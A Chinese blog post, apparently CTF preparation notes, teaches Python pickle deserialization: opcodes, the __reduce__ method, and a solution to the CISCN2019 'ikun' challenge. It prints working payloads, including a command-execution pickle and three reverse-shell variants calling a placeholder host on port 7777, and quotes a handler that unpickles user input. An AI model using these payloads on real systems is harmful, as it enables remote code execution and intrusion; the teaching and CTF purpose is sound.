python篇之pickle反序列化

pickle反序列化

好久没更过博客了哈哈哈,最近事儿挺多的,有点儿迷茫,想学的东西太多了,抓不住重点了哈哈,而且国赛也快来了,还得为国赛刷很多的misc题;之前在Y4师傅的博客里面看到过一句话,在迷茫的时候不要停止学习就好啦;接下来总结一下python反序列化中的pickle反序列化,这也是个老知识点了,之前一直欠着没学,借着这波准备国赛就把它总结咯

python反序列化基础

学过PHP和Java反序列化的朋友应该对反序列化这个词很熟悉了,序列化与反序列化说简单一点儿就是对象与数据的相互转换,这个数据可能是字符串,也可能是字节流;python反序列化当然也不例外,先来讲讲一些基础的函数

Python中提供picklejson两个模块来实现序列化和反序列化,这篇文章中我们就讲pickle的反序列化

1.序列化函数

序列化函数有dumps()dump(),这俩的区别就是dumps()只会单纯的将对象序列化,而dump()会在序列化之后将结果写入到文件当中,一般来说我们就用dumps就好了

2.反序列化函数

与之相对的就是反序列化函数,同样也有两个,load()loads(),同样的,loads()也只是单纯的进行反序列化,而load()会将结果写入文件中

3.测试代码

举个简单的例子的看看吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import pickle
class People(object):
def __init__(self,name = "Arsene.Tang"):
self.name = name

def say(self):
print("Helloworld")

a=People()
print(a)
b=pickle.dumps(a)
print(b)
c=pickle.loads(b)
print(c)
c.say()

image.png

以上的代码我是用python 3.7跑的,由于python版本的特殊性,PVM的指令集用的协议有很大的差别,因为默认使用的协议不同,所以说不同的python版本序列化出来的数据是不一样的,从v0版协议到v5版协议,遍布python的各大版本,而我们序列化时是可以指定用v几的版本,加上一个参数protocol就行了:

1
2
3
4
5
6
7
8
9
10
11
import pickle
class People(object):
def __init__(self,name = "Arsene.Tang"):
self.name = name

def say(self):
print("Helloworld")

a=People()
for i in range(5):
print(pickle.dumps(a,protocol=i))

image.png

既然上面都已经提到指令集用的协议版本差异了,那下面就来看看他们的区别吧,了解了解就好:

1
2
3
4
5
6
v0版协议是原始的"人类可读"协议, 并且向后兼容早期版本的Python.
v1版协议是较早的二进制格式, 它也与早期版本的Python兼容.
v2版协议是在Python 2.3中引入的, 它为存储new-style class提供了更高效的机制, 参阅PEP 307.
v3版协议添加于Python 3.0, 它具有对bytes对象的显式支持, 且无法被Python 2.x打开, 这是目前默认使用的协议, 也是在要求与其他Python 3版本兼容时的推荐协议.
v4版协议添加于Python 3.4, 它支持存储非常大的对象, 能存储更多种类的对象, 还包括一些针对数据格式的优化, 参阅PEP 3154.
v5版协议添加于Python 3.8, 它支持带外数据, 加速带内数据处理.

PVM

上面我们大概了解了pickle反序列化,并且看到了它序列化之后的样子,但是如果真的想看懂它序列化后数据的具体含义,那就得学习PVM

PVM是指python虚拟机,Python 进程会把编译好的字节码转发到PVM中,序列化和反序列化的过程都是发生在PVM上的

1.PVM的组成

PVM大概由三个部分组成,第一部分是指令分析器,也就是引擎;第二部分是栈区,主要用于暂存数据流;第三部分是memo区,也就是标签区,作为数据的一个标记吧

1.引擎的作用

引擎就相当于发动机嘛,当它从头读取数据流中的操作码和参数时,会根据操作码和参数的内容进行分析,并对其进行处理,在这个过程中改变栈区和标签区,处理结束后到达栈顶,形成反序列化对象并且返回

2.栈区的作用

栈区又叫数据暂存区,用于暂存在处理过程中的流数据,在不断的进出栈中实现对数据的反序列化,并最后在栈上生成反序列化的结果

3.标签区的作用

这就是数据的一个索引或者说是标记

2.PVM中的操作码

PVM中的操作码都是单字节的,先放图,然后下面再来解析它:

image.png

这个很好理解,S操作码 代表后面这一串是字符串, V操作码 代表后面这一串是unicode编码 , I操作码 代表后面这一串是整数

image.png

这里面比较重要的是(,它相当于做个标记

image.png

上面讲的(标记,与l t d s结合使用,就可以将两个标记中的元素取出来放入栈中,d代表是个字典,l代表这元素是个列表,而t代表是个元组,一般元组用的是最多的,举个简单例子:(S'/bin/sh't,就是说先下个标记,然后把字符串/bin/sh放入栈中,然后遇到了t之后,就会从栈上弹出数据,一直弹到(,也就是将(t的内容全部弹出来转化成元组,再存入栈中,同时标记消失

image.png

这俩指令都挺重要的,c指令后面跟的是模块名和类名,这俩之间用回车作为分割;而R指令一般都在最后,它会将元组和可调用的对象callable从堆栈中弹出来,然后以该元组作为参数调用该callable对象,比如说os.system()中的system()就是一个callable对象

再补充一个图上没有的操作码.,点号是结束符,执行到这里代表结束

3.总结

上面基本上把该介绍的操作码都介绍了,如果还有不完整的大家自行百度搜索哈,接下来就来一个完整的例子来总结:

1
2
3
4
cos
system
(S'/bin/ls /'
tR.

这应该是最简单的一个例子了,选自k0rz3n师傅的博客,上面这一段就是它序列化后的数据,我们来分析分析:

c后面跟的是模块名,换行之后的是类名,相当于将os.system放入栈中,然后(放入一个标记符,将字符串/bin/ls /放入栈中,然后遇到t,往前弹数据,一直弹到(,相当于将/bin/ls / 的数据都弹出来,然后转换成一个元组再存入栈中,同时标记符消失,最后遇到R,将元组取出来,作为参数放入callable中并执行,也就是说执行了os.system('/bin/ls /')

image.png

漏洞的利用过程

接下来我们就来看看pickle反序列化漏洞具体的利用过程,因为我们对PHP反序列化相对更加熟悉,所以说我们结合着PHP反序列化来讲,相信会更加容易理解

无论什么语言,反序列化漏洞出现的前提都是因为我们传入反序列化函数的内容是可控的,相比PHP只能利用代码中存在的类,python就灵活多了,python除了能反序列化当前代码中出现的类,还可以反序列化我们通过import导入的类,还能利用其彻底的面向对象的特性来反序列化使用 types 创建的匿名对象;我是这样理解的,PHP之所以会出现反序列化漏洞是因为它代码本身存在漏洞,我们只是写了一条利用链来调用它而已,而python就不一样了,我们可以告诉它如何进行序列化和反序列化,也就是让它以我们指定的方式进行反序列化,再换句话说就是让它反序列化我们自己写进去的代码,那这就非常完美了啊,相当于反序列化=任意代码执行

而要实现代码执行的关键,就是一个魔法函数__reduce__,这里得先注意一下,在python2中有两种声明类的方式,分别是新式类(内置类)和旧式类(自建类),可以看看这篇文章:http://www.bendawang.site/2017/03/21/python%E6%B7%B1%E5%85%A5%E5%AD%A6%E4%B9%A0-%E4%B8%80-%EF%BC%9A%E7%B1%BB%E4%B8%8E%E5%85%83%E7%B1%BB%EF%BC%88metaclass%EF%BC%89%E7%9A%84%E7%90%86%E8%A7%A3/,而假如我们要在python2中使用__reduce__的话,必须得用新式类,也就是下面这种声明方式:

1
2
3
4
5
6
>>> class B(object):
... pass
...
>>> b = B()
>>> type(b)
<class '__main__.B'>

而在python3中,就都是新式类了,可以直接用

reduce

接下来来看__reduce__

当序列化和反序列化遇到一无所知的扩展类型的时候,可以通过在类中定义__reduce__的方式来告诉PVM如何进行序列化或反序列化,也就是说我们定义了__reduce__之后,我们就能在序列化的时候让这个类根据我们在__reduce__ 中指定的方式进行序列化,那如何进行指定呢?这就要从这个方法的返回值说起了,这个方法可以提供两种类型的返回值,分别是字符串String和元组tuple,当它返回tuple这种类型的时候,它里面可以设置2-5个参数,具体见下图:

image.png

可以看到,其实最要的就是前两个参数,第一个参数提供一个可以调用的对象;第二个参数返回该可调用的对象的参数,是一个元组,如果该对象没有参数,那就需要传一个空元组;其实吧,这就是R操作码的底层实现,太像了,将元组和可调用的对象callable从堆栈中弹出来,然后以该元组作为参数调用该callable对象;后面的参数都是可选参数,看个例子:

1
2
3
4
5
6
7
8
9
import pickle
import os
class A(object):
def __reduce__(self):
a = '/bin/ls /'
return (os.system,(a,))
a = A()
test = pickle.dumps(a)
pickle.loads(test)

image.png

就像这样,利用反序列化执行任意命令,这是python2中的例子,接下来来看一个python3中反弹shell的例子:

1
2
3
4
5
6
7
8
9
10
11
import pickle
import os

class reverse(object):
def __reduce__(self):
a="""
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xxx.xxx.xxx.xxx",7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""
return (os.system,(a,))

a = reverse()
pickle.loads(pickle.dumps(a))

image.png

例题分析:[CISCN2019 华北赛区 Day1 Web2]ikun

简单题,前面的jwt伪造那些我自动跳过了,直接看到源码,是拿python2写的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib


class AdminHandler(BaseHandler):
@tornado.web.authenticated
def get(self, *args, **kwargs):
if self.current_user == "admin":
return self.render('form.html', res='This is Black Technology!', member=0)
else:
return self.render('no_ass.html')

@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)

可以看到pickle.loads(urllib.unquote(become)),也就是把我们传入的内容先url解码之后再反序列化,没有任何的过滤,那这个真的是相当友好了,直接反弹shell吧,构造exp

1
2
3
4
5
6
7
8
9
10
11
12
import pickle
import os
import urllib

class reverse(object):
def __reduce__(self):
a="""
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xxx.xxx.xxx.xxx",7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""
return (os.system,(a,))

a = reverse()
print(urllib.quote(pickle.dumps(a)))

image.png

如果是用python3写,也一样,只不过得指定版本为v0,还有url编码的方式不太一样:

1
2
3
4
5
6
7
8
9
10
11
12
import pickle
import os
import urllib.parse

class reverse(object):
def __reduce__(self):
a="""
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xxx.xxx.xxx.xxx",7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""
return (os.system,(a,))

a = reverse()
print(urllib.parse.quote(pickle.dumps(a,protocol=0)))

打过去就行:

image.png

image.png

参考文章:

https://www.k0rz3n.com/2018/11/12/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E7%90%86%E8%A7%A3%E6%BC%8F%E6%B4%9E%E4%B9%8BPython%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/#3-PVM-%E6%93%8D%E4%BD%9C%E7%A0%81

https://docs.python.org/zh-cn/3/library/pickle.html?highlight=__reduce#module-pickle

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2022 Arsene.Tang
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信